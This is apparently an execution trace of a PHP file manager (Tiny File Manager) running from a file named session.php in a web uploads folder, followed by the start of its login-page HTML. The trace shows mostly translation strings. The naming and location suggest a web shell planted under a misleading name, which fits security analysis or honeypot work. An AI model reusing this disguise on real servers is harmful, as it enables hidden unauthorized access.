2 A /var/www/html/uploads/session.php 4162 $tr = ['en' => ['AppName' => 'File Manager', 'AppTitle' => 'File Manager', 'Login' => 'submit', 'Username' => 'Username', 'Password' => 'Password', 'Logout' => 'Sign Out', 'Move' => 'Move', 'Copy' => 'Copy', 'Save' => 'Save', 'SelectAll' => 'Select all', 'UnSelectAll' => 'Unselect all', 'File' => 'File', 'Back' => 'Back', 'Size' => 'Size', 'Perms' => 'Perms', 'Modified' => 'Modified', 'Owner' => 'Owner', 'Search' => 'Search', 'NewItem' => 'New Item', 'Folder' => 'Folder', 'Delete' => 'Delete', 'Rename' => 'Rename', 'CopyTo' => 'Copy to', 'DirectLink' => 'Direct link', 'UploadingFiles' => 'Upload Files', 'ChangePermissions' => 'Change Permissions', 'Copying' => 'Copying', 'CreateNewItem' => 'Create New Item', 'Name' => 'Name', 'AdvancedEditor' => 'Advanced Editor', 'RememberMe' => 'Remember Me', 'Actions' => 'Actions', 'Upload' => 'Upload', 'Cancel' => 'Cancel', 'InvertSelection' => 'Invert Selection', 'DestinationFolder' => 'Destination Folder', 'ItemType' => 'Item Type', 'ItemName' => 'Item Name', 'CreateNow' => 'Create Now', 'Download' => 'Download', 'Open' => 'Open', 'UnZip' => 'UnZip', 'UnZipToFolder' => 'UnZip to folder', 'Edit' => 'Edit', 'NormalEditor' => 'Normal Editor', 'BackUp' => 'Back Up', 'SourceFolder' => 'Source Folder', 'Files' => 'Files', 'Change' => 'Change', 'Settings' => 'Settings', 'Language' => 'Language', 'Folder is empty' => 'Folder is empty', 'PartitionSize' => 'Partition size', 'ErrorReporting' => 'Error Reporting', 'ShowHiddenFiles' => 'Show Hidden Files', 'Full size' => 'Full size', 'Help' => 'Help', 'Free of' => 'Free of', 'Preview' => 'Preview', 'Help Documents' => 'Help Documents', 'Report Issue' => 'Report Issue', 'Generate' => 'Generate', 'FullSize' => 'Full Size', 'FreeOf' => 'free of', 'CalculateFolderSize' => 'Calculate folder size', 'ProcessID' => 'Process ID', 'Created' => 'Created', 'HideColumns' => 'Hide Perms/Owner columns', 'You are logged in' => 'You are logged in', 'Check Latest Version' => 'Check Latest Version', 'Generate new password hash' => 'Generate new password hash', 'Login failed. Invalid username or password' => 'Login failed. Invalid username or password', 'password_hash not supported, Upgrade PHP version' => 'password_hash not supported, Upgrade PHP version', 'Advanced Search' => 'Advanced Search', 'Error while copying from' => 'Error while copying from', 'Nothing selected' => 'Nothing selected', 'Paths must be not equal' => 'Paths must be not equal', 'Renamed from' => 'Renamed from', 'Archive not unpacked' => 'Archive not unpacked', 'Deleted' => 'Deleted', 'Archive not created' => 'Archive not created', 'Copied from' => 'Copied from', 'Permissions changed' => 'Permissions changed', 'to' => 'to', 'Saved Successfully' => 'Saved Successfully', 'not found!' => 'not found!', 'File Saved Successfully' => 'File Saved Successfully', 'Archive' => 'Archive', 'Permissions not changed' => 'Permissions not changed', 'Select folder' => 'Select folder', 'Source path not defined' => 'Source path not defined', 'already exists' => 'already exists', 'Error while moving from' => 'Error while moving from', 'Create archive?' => 'Create archive?', 'Invalid file or folder name' => 'Invalid file or folder name', 'Archive unpacked' => 'Archive unpacked', 'File extension is not allowed' => 'File extension is not allowed', 'Root path' => 'Root path', 'Error while renaming from' => 'Error while renaming from', 'File not found' => 'File not found', 'Error while deleting items' => 'Error while deleting items', 'Invalid characters in file name' => 'Invalid characters in file name', 'FILE EXTENSION HAS NOT SUPPORTED' => 'FILE EXTENSION HAS NOT SUPPORTED', 'Selected files and folder deleted' => 'Selected files and folder deleted', 'Error while fetching archive info' => 'Error while fetching archive info', 'Delete selected files and folders?' => 'Delete selected files and folders?', 'Search file in folder and subfolders...' => 'Search file in folder and subfolders...', 'Access denied. IP restriction applicable' => 'Access denied. IP restriction applicable', 'Invalid characters in file or folder name' => 'Invalid characters in file or folder name', 'Operations with archives are not available' => 'Operations with archives are not available', 'File or folder with this path already exists' => 'File or folder with this path already exists', 'Moved from' => 'Moved from']]
3 63 0 0.009710 1304176 fm_enc 1 /var/www/html/uploads/session.php 4165 1 'Password'
4 64 0 0.009724 1304176 htmlspecialchars 0 /var/www/html/uploads/session.php 2649 3 'Password' 3 'UTF-8'
4 64 1 0.009740 1304448
4 64 R 'Password'
3 63 1 0.009754 1304336
3 63 R 'Password'
2 60 1 0.009768 1295712
2 60 R 'Password'
2 65 0 0.009782 1295552 fm_show_message 1 /var/www/html/uploads/session.php 356 0
2 65 1 0.009795 1295552
2 66 0 0.009802 1295552 lng 1 /var/www/html/uploads/session.php 361 1 'Login'
2 A /var/www/html/uploads/session.php 4093 $tr['en']['AppName'] = 'File Manager'
2 A /var/www/html/uploads/session.php 4093 $tr['en']['AppTitle'] = 'File Manager'
2 A /var/www/html/uploads/session.php 4094 $tr['en']['Login'] = 'submit'
2 A /var/www/html/uploads/session.php 4094 $tr['en']['Username'] = 'Username'
2 A /var/www/html/uploads/session.php 4095 $tr['en']['Password'] = 'Password'
2 A /var/www/html/uploads/session.php 4095 $tr['en']['Logout'] = 'Sign Out'
2 A /var/www/html/uploads/session.php 4096 $tr['en']['Move'] = 'Move'
2 A /var/www/html/uploads/session.php 4096 $tr['en']['Copy'] = 'Copy'
2 A /var/www/html/uploads/session.php 4097 $tr['en']['Save'] = 'Save'
2 A /var/www/html/uploads/session.php 4097 $tr['en']['SelectAll'] = 'Select all'
2 A /var/www/html/uploads/session.php 4098 $tr['en']['UnSelectAll'] = 'Unselect all'
2 A /var/www/html/uploads/session.php 4098 $tr['en']['File'] = 'File'
2 A /var/www/html/uploads/session.php 4099 $tr['en']['Back'] = 'Back'
2 A /var/www/html/uploads/session.php 4099 $tr['en']['Size'] = 'Size'
2 A /var/www/html/uploads/session.php 4100 $tr['en']['Perms'] = 'Perms'
2 A /var/www/html/uploads/session.php 4100 $tr['en']['Modified'] = 'Modified'
2 A /var/www/html/uploads/session.php 4101 $tr['en']['Owner'] = 'Owner'
2 A /var/www/html/uploads/session.php 4101 $tr['en']['Search'] = 'Search'
2 A /var/www/html/uploads/session.php 4102 $tr['en']['NewItem'] = 'New Item'
2 A /var/www/html/uploads/session.php 4102 $tr['en']['Folder'] = 'Folder'
2 A /var/www/html/uploads/session.php 4103 $tr['en']['Delete'] = 'Delete'
2 A /var/www/html/uploads/session.php 4103 $tr['en']['Rename'] = 'Rename'
2 A /var/www/html/uploads/session.php 4104 $tr['en']['CopyTo'] = 'Copy to'
2 A /var/www/html/uploads/session.php 4104 $tr['en']['DirectLink'] = 'Direct link'
2 A /var/www/html/uploads/session.php 4105 $tr['en']['UploadingFiles'] = 'Upload Files'
2 A /var/www/html/uploads/session.php 4105 $tr['en']['ChangePermissions'] = 'Change Permissions'
2 A /var/www/html/uploads/session.php 4106 $tr['en']['Copying'] = 'Copying'
2 A /var/www/html/uploads/session.php 4106 $tr['en']['CreateNewItem'] = 'Create New Item'
2 A /var/www/html/uploads/session.php 4107 $tr['en']['Name'] = 'Name'
2 A /var/www/html/uploads/session.php 4107 $tr['en']['AdvancedEditor'] = 'Advanced Editor'
2 A /var/www/html/uploads/session.php 4108 $tr['en']['RememberMe'] = 'Remember Me'
2 A /var/www/html/uploads/session.php 4108 $tr['en']['Actions'] = 'Actions'
2 A /var/www/html/uploads/session.php 4109 $tr['en']['Upload'] = 'Upload'
2 A /var/www/html/uploads/session.php 4109 $tr['en']['Cancel'] = 'Cancel'
2 A /var/www/html/uploads/session.php 4110 $tr['en']['InvertSelection'] = 'Invert Selection'
2 A /var/www/html/uploads/session.php 4110 $tr['en']['DestinationFolder'] = 'Destination Folder'
2 A /var/www/html/uploads/session.php 4111 $tr['en']['ItemType'] = 'Item Type'
2 A /var/www/html/uploads/session.php 4111 $tr['en']['ItemName'] = 'Item Name'
2 A /var/www/html/uploads/session.php 4112 $tr['en']['CreateNow'] = 'Create Now'
2 A /var/www/html/uploads/session.php 4112 $tr['en']['Download'] = 'Download'
2 A /var/www/html/uploads/session.php 4113 $tr['en']['Open'] = 'Open'
2 A /var/www/html/uploads/session.php 4113 $tr['en']['UnZip'] = 'UnZip'
2 A /var/www/html/uploads/session.php 4114 $tr['en']['UnZipToFolder'] = 'UnZip to folder'
2 A /var/www/html/uploads/session.php 4114 $tr['en']['Edit'] = 'Edit'
2 A /var/www/html/uploads/session.php 4115 $tr['en']['NormalEditor'] = 'Normal Editor'
2 A /var/www/html/uploads/session.php 4115 $tr['en']['BackUp'] = 'Back Up'
2 A /var/www/html/uploads/session.php 4116 $tr['en']['SourceFolder'] = 'Source Folder'
2 A /var/www/html/uploads/session.php 4116 $tr['en']['Files'] = 'Files'
2 A /var/www/html/uploads/session.php 4117 $tr['en']['Move'] = 'Move'
2 A /var/www/html/uploads/session.php 4117 $tr['en']['Change'] = 'Change'
2 A /var/www/html/uploads/session.php 4118 $tr['en']['Settings'] = 'Settings'
2 A /var/www/html/uploads/session.php 4118 $tr['en']['Language'] = 'Language'
2 A /var/www/html/uploads/session.php 4119 $tr['en']['Folder is empty'] = 'Folder is empty'
2 A /var/www/html/uploads/session.php 4119 $tr['en']['PartitionSize'] = 'Partition size'
2 A /var/www/html/uploads/session.php 4120 $tr['en']['ErrorReporting'] = 'Error Reporting'
2 A /var/www/html/uploads/session.php 4120 $tr['en']['ShowHiddenFiles'] = 'Show Hidden Files'
2 A /var/www/html/uploads/session.php 4121 $tr['en']['Full size'] = 'Full size'
2 A /var/www/html/uploads/session.php 4121 $tr['en']['Help'] = 'Help'
2 A /var/www/html/uploads/session.php 4122 $tr['en']['Free of'] = 'Free of'
2 A /var/www/html/uploads/session.php 4122 $tr['en']['Preview'] = 'Preview'
2 A /var/www/html/uploads/session.php 4123 $tr['en']['Help Documents'] = 'Help Documents'
2 A /var/www/html/uploads/session.php 4123 $tr['en']['Report Issue'] = 'Report Issue'
2 A /var/www/html/uploads/session.php 4124 $tr['en']['Generate'] = 'Generate'
2 A /var/www/html/uploads/session.php 4124 $tr['en']['FullSize'] = 'Full Size'
2 A /var/www/html/uploads/session.php 4125 $tr['en']['FreeOf'] = 'free of'
2 A /var/www/html/uploads/session.php 4125 $tr['en']['CalculateFolderSize'] = 'Calculate folder size'
2 A /var/www/html/uploads/session.php 4126 $tr['en']['ProcessID'] = 'Process ID'
2 A /var/www/html/uploads/session.php 4126 $tr['en']['Created'] = 'Created'
2 A /var/www/html/uploads/session.php 4127 $tr['en']['HideColumns'] = 'Hide Perms/Owner columns'
2 A /var/www/html/uploads/session.php 4127 $tr['en']['You are logged in'] = 'You are logged in'
2 A /var/www/html/uploads/session.php 4128 $tr['en']['Check Latest Version'] = 'Check Latest Version'
2 A /var/www/html/uploads/session.php 4128 $tr['en']['Generate new password hash'] = 'Generate new password hash'
2 A /var/www/html/uploads/session.php 4129 $tr['en']['Login failed. Invalid username or password'] = 'Login failed. Invalid username or password'
2 A /var/www/html/uploads/session.php 4130 $tr['en']['password_hash not supported, Upgrade PHP version'] = 'password_hash not supported, Upgrade PHP version'
2 A /var/www/html/uploads/session.php 4134 $tr['en']['Advanced Search'] = 'Advanced Search'
2 A /var/www/html/uploads/session.php 4134 $tr['en']['Error while copying from'] = 'Error while copying from'
2 A /var/www/html/uploads/session.php 4135 $tr['en']['Nothing selected'] = 'Nothing selected'
2 A /var/www/html/uploads/session.php 4135 $tr['en']['Paths must be not equal'] = 'Paths must be not equal'
2 A /var/www/html/uploads/session.php 4136 $tr['en']['Renamed from'] = 'Renamed from'
2 A /var/www/html/uploads/session.php 4136 $tr['en']['Archive not unpacked'] = 'Archive not unpacked'
2 A /var/www/html/uploads/session.php 4137 $tr['en']['Deleted'] = 'Deleted'
2 A /var/www/html/uploads/session.php 4137 $tr['en']['Archive not created'] = 'Archive not created'
2 A /var/www/html/uploads/session.php 4138 $tr['en']['Copied from'] = 'Copied from'
2 A /var/www/html/uploads/session.php 4138 $tr['en']['Permissions changed'] = 'Permissions changed'
2 A /var/www/html/uploads/session.php 4139 $tr['en']['to'] = 'to'
2 A /var/www/html/uploads/session.php 4139 $tr['en']['Saved Successfully'] = 'Saved Successfully'
2 A /var/www/html/uploads/session.php 4140 $tr['en']['not found!'] = 'not found!'
2 A /var/www/html/uploads/session.php 4140 $tr['en']['File Saved Successfully'] = 'File Saved Successfully'
2 A /var/www/html/uploads/session.php 4141 $tr['en']['Archive'] = 'Archive'
2 A /var/www/html/uploads/session.php 4141 $tr['en']['Permissions not changed'] = 'Permissions not changed'
2 A /var/www/html/uploads/session.php 4142 $tr['en']['Select folder'] = 'Select folder'
2 A /var/www/html/uploads/session.php 4142 $tr['en']['Source path not defined'] = 'Source path not defined'
2 A /var/www/html/uploads/session.php 4143 $tr['en']['already exists'] = 'already exists'
2 A /var/www/html/uploads/session.php 4143 $tr['en']['Error while moving from'] = 'Error while moving from'
2 A /var/www/html/uploads/session.php 4144 $tr['en']['Create archive?'] = 'Create archive?'
2 A /var/www/html/uploads/session.php 4144 $tr['en']['Invalid file or folder name'] = 'Invalid file or folder name'
2 A /var/www/html/uploads/session.php 4145 $tr['en']['Archive unpacked'] = 'Archive unpacked'
2 A /var/www/html/uploads/session.php 4145 $tr['en']['File extension is not allowed'] = 'File extension is not allowed'
2 A /var/www/html/uploads/session.php 4146 $tr['en']['Root path'] = 'Root path'
2 A /var/www/html/uploads/session.php 4146 $tr['en']['Error while renaming from'] = 'Error while renaming from'
2 A /var/www/html/uploads/session.php 4147 $tr['en']['File not found'] = 'File not found'
2 A /var/www/html/uploads/session.php 4147 $tr['en']['Error while deleting items'] = 'Error while deleting items'
2 A /var/www/html/uploads/session.php 4148 $tr['en']['Invalid characters in file name'] = 'Invalid characters in file name'
2 A /var/www/html/uploads/session.php 4149 $tr['en']['FILE EXTENSION HAS NOT SUPPORTED'] = 'FILE EXTENSION HAS NOT SUPPORTED'
2 A /var/www/html/uploads/session.php 4150 $tr['en']['Selected files and folder deleted'] = 'Selected files and folder deleted'
2 A /var/www/html/uploads/session.php 4151 $tr['en']['Error while fetching archive info'] = 'Error while fetching archive info'
2 A /var/www/html/uploads/session.php 4152 $tr['en']['Delete selected files and folders?'] = 'Delete selected files and folders?'
2 A /var/www/html/uploads/session.php 4153 $tr['en']['Search file in folder and subfolders...'] = 'Search file in folder and subfolders...'
2 A /var/www/html/uploads/session.php 4154 $tr['en']['Access denied. IP restriction applicable'] = 'Access denied. IP restriction applicable'
2 A /var/www/html/uploads/session.php 4155 $tr['en']['Invalid characters in file or folder name'] = 'Invalid characters in file or folder name'
2 A /var/www/html/uploads/session.php 4156 $tr['en']['Operations with archives are not available'] = 'Operations with archives are not available'
2 A /var/www/html/uploads/session.php 4157 $tr['en']['File or folder with this path already exists'] = 'File or folder with this path already exists'
2 A /var/www/html/uploads/session.php 4159 $tr['en']['Moved from'] = 'Moved from'
3 67 0 0.011279 1304176 fm_get_translations 1 /var/www/html/uploads/session.php 4161 1 ['en' => ['AppName' => 'File Manager', 'AppTitle' => 'File Manager', 'Login' => 'submit', 'Username' => 'Username', 'Password' => 'Password', 'Logout' => 'Sign Out', 'Move' => 'Move', 'Copy' => 'Copy', 'Save' => 'Save', 'SelectAll' => 'Select all', 'UnSelectAll' => 'Unselect all', 'File' => 'File', 'Back' => 'Back', 'Size' => 'Size', 'Perms' => 'Perms', 'Modified' => 'Modified', 'Owner' => 'Owner', 'Search' => 'Search', 'NewItem' => 'New Item', 'Folder' => 'Folder', 'Delete' => 'Delete', 'Rename' => 'Rename', 'CopyTo' => 'Copy to', 'DirectLink' => 'Direct link', 'UploadingFiles' => 'Upload Files', 'ChangePermissions' => 'Change Permissions', 'Copying' => 'Copying', 'CreateNewItem' => 'Create New Item', 'Name' => 'Name', 'AdvancedEditor' => 'Advanced Editor', 'RememberMe' => 'Remember Me', 'Actions' => 'Actions', 'Upload' => 'Upload', 'Cancel' => 'Cancel', 'InvertSelection' => 'Invert Selection', 'DestinationFolder' => 'Destination Folder', 'ItemType' => 'Item Type', 'ItemName' => 'Item Name', 'CreateNow' => 'Create Now', 'Download' => 'Download', 'Open' => 'Open', 'UnZip' => 'UnZip', 'UnZipToFolder' => 'UnZip to folder', 'Edit' => 'Edit', 'NormalEditor' => 'Normal Editor', 'BackUp' => 'Back Up', 'SourceFolder' => 'Source Folder', 'Files' => 'Files', 'Change' => 'Change', 'Settings' => 'Settings', 'Language' => 'Language', 'Folder is empty' => 'Folder is empty', 'PartitionSize' => 'Partition size', 'ErrorReporting' => 'Error Reporting', 'ShowHiddenFiles' => 'Show Hidden Files', 'Full size' => 'Full size', 'Help' => 'Help', 'Free of' => 'Free of', 'Preview' => 'Preview', 'Help Documents' => 'Help Documents', 'Report Issue' => 'Report Issue', 'Generate' => 'Generate', 'FullSize' => 'Full Size', 'FreeOf' => 'free of', 'CalculateFolderSize' => 'Calculate folder size', 'ProcessID' => 'Process ID', 'Created' => 'Created', 'HideColumns' => 'Hide Perms/Owner columns', 'You are logged in' => 'You are logged in', 'Check Latest Version' => 'Check Latest Version', 'Generate new password hash' => 'Generate new password hash', 'Login failed. Invalid username or password' => 'Login failed. Invalid username or password', 'password_hash not supported, Upgrade PHP version' => 'password_hash not supported, Upgrade PHP version', 'Advanced Search' => 'Advanced Search', 'Error while copying from' => 'Error while copying from', 'Nothing selected' => 'Nothing selected', 'Paths must be not equal' => 'Paths must be not equal', 'Renamed from' => 'Renamed from', 'Archive not unpacked' => 'Archive not unpacked', 'Deleted' => 'Deleted', 'Archive not created' => 'Archive not created', 'Copied from' => 'Copied from', 'Permissions changed' => 'Permissions changed', 'to' => 'to', 'Saved Successfully' => 'Saved Successfully', 'not found!' => 'not found!', 'File Saved Successfully' => 'File Saved Successfully', 'Archive' => 'Archive', 'Permissions not changed' => 'Permissions not changed', 'Select folder' => 'Select folder', 'Source path not defined' => 'Source path not defined', 'already exists' => 'already exists', 'Error while moving from' => 'Error while moving from', 'Create archive?' => 'Create archive?', 'Invalid file or folder name' => 'Invalid file or folder name', 'Archive unpacked' => 'Archive unpacked', 'File extension is not allowed' => 'File extension is not allowed', 'Root path' => 'Root path', 'Error while renaming from' => 'Error while renaming from', 'File not found' => 'File not found', 'Error while deleting items' => 'Error while deleting items', 'Invalid characters in file name' => 'Invalid characters in file name', 'FILE EXTENSION HAS NOT SUPPORTED' => 'FILE EXTENSION HAS NOT SUPPORTED', 'Selected files and folder deleted' => 'Selected files and folder deleted', 'Error while fetching archive info' => 'Error while fetching archive info', 'Delete selected files and folders?' => 'Delete selected files and folders?', 'Search file in folder and subfolders...' => 'Search file in folder and subfolders...', 'Access denied. IP restriction applicable' => 'Access denied. IP restriction applicable', 'Invalid characters in file or folder name' => 'Invalid characters in file or folder name', 'Operations with archives are not available' => 'Operations with archives are not available', 'File or folder with this path already exists' => 'File or folder with this path already exists', 'Moved from' => 'Moved from']]
4 68 0 0.011436 1304176 file_get_contents 0 /var/www/html/uploads/session.php 2496 1 'translation.json'
4 68 1 0.011464 1304216
4 68 R FALSE
3 A /var/www/html/uploads/session.php 2496 $content = FALSE
3 67 1 0.011491 1304176
3 67 R NULL
2 A /var/www/html/uploads/session.php 4161 $i18n = NULL
2 A /var/www/html/uploads/session.php 4162 $tr = ['en' => ['AppName' => 'File Manager', 'AppTitle' => 'File Manager', 'Login' => 'submit', 'Username' => 'Username', 'Password' => 'Password', 'Logout' => 'Sign Out', 'Move' => 'Move', 'Copy' => 'Copy', 'Save' => 'Save', 'SelectAll' => 'Select all', 'UnSelectAll' => 'Unselect all', 'File' => 'File', 'Back' => 'Back', 'Size' => 'Size', 'Perms' => 'Perms', 'Modified' => 'Modified', 'Owner' => 'Owner', 'Search' => 'Search', 'NewItem' => 'New Item', 'Folder' => 'Folder', 'Delete' => 'Delete', 'Rename' => 'Rename', 'CopyTo' => 'Copy to', 'DirectLink' => 'Direct link', 'UploadingFiles' => 'Upload Files', 'ChangePermissions' => 'Change Permissions', 'Copying' => 'Copying', 'CreateNewItem' => 'Create New Item', 'Name' => 'Name', 'AdvancedEditor' => 'Advanced Editor', 'RememberMe' => 'Remember Me', 'Actions' => 'Actions', 'Upload' => 'Upload', 'Cancel' => 'Cancel', 'InvertSelection' => 'Invert Selection', 'DestinationFolder' => 'Destination Folder', 'ItemType' => 'Item Type', 'ItemName' => 'Item Name', 'CreateNow' => 'Create Now', 'Download' => 'Download', 'Open' => 'Open', 'UnZip' => 'UnZip', 'UnZipToFolder' => 'UnZip to folder', 'Edit' => 'Edit', 'NormalEditor' => 'Normal Editor', 'BackUp' => 'Back Up', 'SourceFolder' => 'Source Folder', 'Files' => 'Files', 'Change' => 'Change', 'Settings' => 'Settings', 'Language' => 'Language', 'Folder is empty' => 'Folder is empty', 'PartitionSize' => 'Partition size', 'ErrorReporting' => 'Error Reporting', 'ShowHiddenFiles' => 'Show Hidden Files', 'Full size' => 'Full size', 'Help' => 'Help', 'Free of' => 'Free of', 'Preview' => 'Preview', 'Help Documents' => 'Help Documents', 'Report Issue' => 'Report Issue', 'Generate' => 'Generate', 'FullSize' => 'Full Size', 'FreeOf' => 'free of', 'CalculateFolderSize' => 'Calculate folder size', 'ProcessID' => 'Process ID', 'Created' => 'Created', 'HideColumns' => 'Hide Perms/Owner columns', 'You are logged in' => 'You are logged in', 'Check Latest Version' => 'Check Latest Version', 'Generate new password hash' => 'Generate new password hash', 'Login failed. Invalid username or password' => 'Login failed. Invalid username or password', 'password_hash not supported, Upgrade PHP version' => 'password_hash not supported, Upgrade PHP version', 'Advanced Search' => 'Advanced Search', 'Error while copying from' => 'Error while copying from', 'Nothing selected' => 'Nothing selected', 'Paths must be not equal' => 'Paths must be not equal', 'Renamed from' => 'Renamed from', 'Archive not unpacked' => 'Archive not unpacked', 'Deleted' => 'Deleted', 'Archive not created' => 'Archive not created', 'Copied from' => 'Copied from', 'Permissions changed' => 'Permissions changed', 'to' => 'to', 'Saved Successfully' => 'Saved Successfully', 'not found!' => 'not found!', 'File Saved Successfully' => 'File Saved Successfully', 'Archive' => 'Archive', 'Permissions not changed' => 'Permissions not changed', 'Select folder' => 'Select folder', 'Source path not defined' => 'Source path not defined', 'already exists' => 'already exists', 'Error while moving from' => 'Error while moving from', 'Create archive?' => 'Create archive?', 'Invalid file or folder name' => 'Invalid file or folder name', 'Archive unpacked' => 'Archive unpacked', 'File extension is not allowed' => 'File extension is not allowed', 'Root path' => 'Root path', 'Error while renaming from' => 'Error while renaming from', 'File not found' => 'File not found', 'Error while deleting items' => 'Error while deleting items', 'Invalid characters in file name' => 'Invalid characters in file name', 'FILE EXTENSION HAS NOT SUPPORTED' => 'FILE EXTENSION HAS NOT SUPPORTED', 'Selected files and folder deleted' => 'Selected files and folder deleted', 'Error while fetching archive info' => 'Error while fetching archive info', 'Delete selected files and folders?' => 'Delete selected files and folders?', 'Search file in folder and subfolders...' => 'Search file in folder and subfolders...', 'Access denied. IP restriction applicable' => 'Access denied. IP restriction applicable', 'Invalid characters in file or folder name' => 'Invalid characters in file or folder name', 'Operations with archives are not available' => 'Operations with archives are not available', 'File or folder with this path already exists' => 'File or folder with this path already exists', 'Moved from' => 'Moved from']]
3 69 0 0.011659 1304176 fm_enc 1 /var/www/html/uploads/session.php 4165 1 'submit'
4 70 0 0.011673 1304176 htmlspecialchars 0 /var/www/html/uploads/session.php 2649 3 'submit' 3 'UTF-8'
4 70 1 0.011688 1304448
4 70 R 'submit'
3 69 1 0.011702 1304336
3 69 R 'submit'
2 66 1 0.011716 1295712
2 66 R 'submit'
2 71 0 0.011731 1295552 fm_show_footer_login 1 /var/www/html/uploads/session.php 373 0
2 71 1 0.011743 1295552
0.011778 1214912
TRACE END [2023-02-13 00:25:06.983383]
<html lang="en"><head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
<meta name="description" content="Web based File Manager in PHP, Manage your files efficiently and easily with Tiny File Manager">
<meta name="author" content="CCP Programmers">
<meta name="robots" content="noindex, nofollow">
<meta name="googlebot" content="noindex">
<title>File Manager</title>
<link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/4.5.2/css/bootstrap.min.css">
<link rel="stylesheet" href="//cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css">
<style>
@import url('https://fonts.googleapis.com/css2?family=Kelly+Slab&display=swap');
body.fm-login-page{ background-color:#f7f9fb;font-size:14px;background-color:#f7f9fb;background-image:url("data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 304 304' width='304' height='304'%3E%3Cpath fill='%23e2e9f1' fill-opacity='0.4' d='M44.1 224a5 5 0 1 1 0 2H0v-2h44.1zm160 48a5 5 0 1 1 0 2H82v-2h122.1zm57.8-46a5 5 0 1 1 0-2H304v2h-42.1zm0 16a5 5 0 1 1 0-2H304v2h-42.1zm6.2-114a5 5 0 1 1 0 2h-86.2a5 5 0 1 1 0-2h86.2zm-256-48a5 5 0 1 1 0 2H0v-2h12.1zm185.8 34a5 5 0 1 1 0-2h86.2a5 5 0 1 1 0 2h-86.2zM258 12.1a5 5 0 1 1-2 0V0h2v12.1zm-64 208a5 5 0 1 1-2 0v-54.2a5 5 0 1 1 2 0v54.2zm48-198.2V80h62v2h-64V21.9a5 5 0 1 1 2 0zm16 16V64h46v2h-48V37.9a5 5 0 1 1 2 0zm-128 96V208h16v12.1a5 5 0 1 1-2 0V210h-16v-76.1a5 5 0 1 1 2 0zm-5.9-21.9a5 5 0 1 1 0 2H114v48H85.9a5 5 0 1 1 0-2H112v-48h12.1zm-6.2 130a5 5 0 1 1 0-2H176v-74.1a5 5 0 1 1 2 0V242h-60.1zm-16-64a5 5 0 1 1 0-2H114v48h10.1a5 5 0 1 1 0 2H112v-48h-10.1zM66 284.1a5 5 0 1 1-2 0V274H50v30h-2v-32h18v12.1zM236.1 176a5 5 0 1 1 0 2H226v94h48v32h-2v-30h-48v-98h12.1zm25.8-30a5 5 0 1 1 0-2H274v44.1a5 5 0 1 1-2 0V146h-10.1zm-64 96a5 5 0 1 1 0-2H208v-80h16v-14h-42.1a5 5 0 1 1 0-2H226v18h-16v80h-12.1zm86.2-210a5 5 0 1 1 0 2H272V0h2v32h10.1zM98 101.9V146H53.9a5 5 0 1 1 0-2H96v-42.1a5 5 0 1 1 2 0zM53.9 34a5 5 0 1 1 0-2H80V0h2v34H53.9zm60.1 3.9V66H82v64H69.9a5 5 0 1 1 0-2H80V64h32V37.9a5 5 0 1 1 2 0zM101.9 82a5 5 0 1 1 0-2H128V37.9a5 5 0 1 1 2 0V82h-28.1zm16-64a5 5 0 1 1 0-2H146v44.1a5 5 0 1 1-2 0V18h-26.1zm102.2 270a5 5 0 1 1 0 2H98v14h-2v-16h124.1zM242 149.9V160h16v34h-16v62h48v48h-2v-46h-48v-66h16v-30h-16v-12.1a5 5 0 1 1 2 0zM53.9 18a5 5 0 1 1 0-2H64V2H48V0h18v18H53.9zm112 32a5 5 0 1 1 0-2H192V0h50v2h-48v48h-28.1zm-48-48a5 5 0 0 1-9.8-2h2.07a3 3 0 1 0 5.66 0H178v34h-18V21.9a5 5 0 1 1 2 0V32h14V2h-58.1zm0 96a5 5 0 1 1 0-2H137l32-32h39V21.9a5 5 0 1 1 2 0V66h-40.17l-32 32H117.9zm28.1 90.1a5 5 0 1 1-2 0v-76.51L175.59 80H224V21.9a5 5 0 1 1 2 0V82h-49.59L146 112.41v75.69zm16 32a5 5 0 1 1-2 0v-99.51L184.59 96H300.1a5 5 0 0 1 3.9-3.9v2.07a3 3 0 0 0 0 5.66v2.07a5 5 0 0 1-3.9-3.9H185.41L162 121.41v98.69zm-144-64a5 5 0 1 1-2 0v-3.51l48-48V48h32V0h2v50H66v55.41l-48 48v2.69zM50 53.9v43.51l-48 48V208h26.1a5 5 0 1 1 0 2H0v-65.41l48-48V53.9a5 5 0 1 1 2 0zm-16 16V89.41l-34 34v-2.82l32-32V69.9a5 5 0 1 1 2 0zM12.1 32a5 5 0 1 1 0 2H9.41L0 43.41V40.6L8.59 32h3.51zm265.8 18a5 5 0 1 1 0-2h18.69l7.41-7.41v2.82L297.41 50H277.9zm-16 160a5 5 0 1 1 0-2H288v-71.41l16-16v2.82l-14 14V210h-28.1zm-208 32a5 5 0 1 1 0-2H64v-22.59L40.59 194H21.9a5 5 0 1 1 0-2H41.41L66 216.59V242H53.9zm150.2 14a5 5 0 1 1 0 2H96v-56.6L56.6 162H37.9a5 5 0 1 1 0-2h19.5L98 200.6V256h106.1zm-150.2 2a5 5 0 1 1 0-2H80v-46.59L48.59 178H21.9a5 5 0 1 1 0-2H49.41L82 208.59V258H53.9zM34 39.8v1.61L9.41 66H0v-2h8.59L32 40.59V0h2v39.8zM2 300.1a5 5 0 0 1 3.9 3.9H3.83A3 3 0 0 0 0 302.17V256h18v48h-2v-46H2v42.1zM34 241v63h-2v-62H0v-2h34v1zM17 18H0v-2h16V0h2v18h-1zm273-2h14v2h-16V0h2v16zm-32 273v15h-2v-14h-14v14h-2v-16h18v1zM0 92.1A5.02 5.02 0 0 1 6 97a5 5 0 0 1-6 4.9v-2.07a3 3 0 1 0 0-5.66V92.1zM80 272h2v32h-2v-32zm37.9 32h-2.07a3 3 0 0 0-5.66 0h-2.07a5 5 0 0 1 9.8 0zM5.9 0A5.02 5.02 0 0 1 0 5.9V3.83A3 3 0 0 0 3.83 0H5.9zm294.2 0h2.07A3 3 0 0 0 304 3.83V5.9a5 5 0 0 1-3.9-5.9zm3.9 300.1v2.07a3 3 0 0 0-1.83 1.83h-2.07a5 5 0 0 1 3.9-3.9zM97 100a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 16a3 3 0 1 0 